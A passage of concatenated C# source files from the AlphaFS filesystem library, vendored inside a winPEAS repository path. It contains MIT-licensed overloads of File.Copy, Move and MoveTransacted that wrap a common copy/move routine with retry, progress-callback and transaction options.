/// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.Move.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Moves a specified file to a new location, providing the option to specify a new file name. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. [SecurityCritical] public static void Move(string sourcePath, string destinationPath) { CopyMoveCore(false, new CopyMoveArguments { MoveOptions = MoveOptions.CopyAllowed }, false, false, sourcePath, destinationPath, null); } #endregion // .NET /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = MoveOptions.CopyAllowed, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = MoveOptions.CopyAllowed }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = MoveOptions.CopyAllowed, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = moveOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = moveOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = moveOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = moveOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Move(string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.MoveTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// A callback function that is called each time another portion of the file has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = MoveOptions.CopyAllowed, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = moveOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, MoveOptions = moveOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The name of the file to move. /// The new path for the file. /// that specify how the file is to be moved. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, int retry, int retryTimeout) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, MoveOptions = moveOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// A class with the status of the Move action. /// /// This method works across disk volumes. /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an . /// You cannot use the Move method to overwrite an existing file. /// Whenever possible, avoid using short file 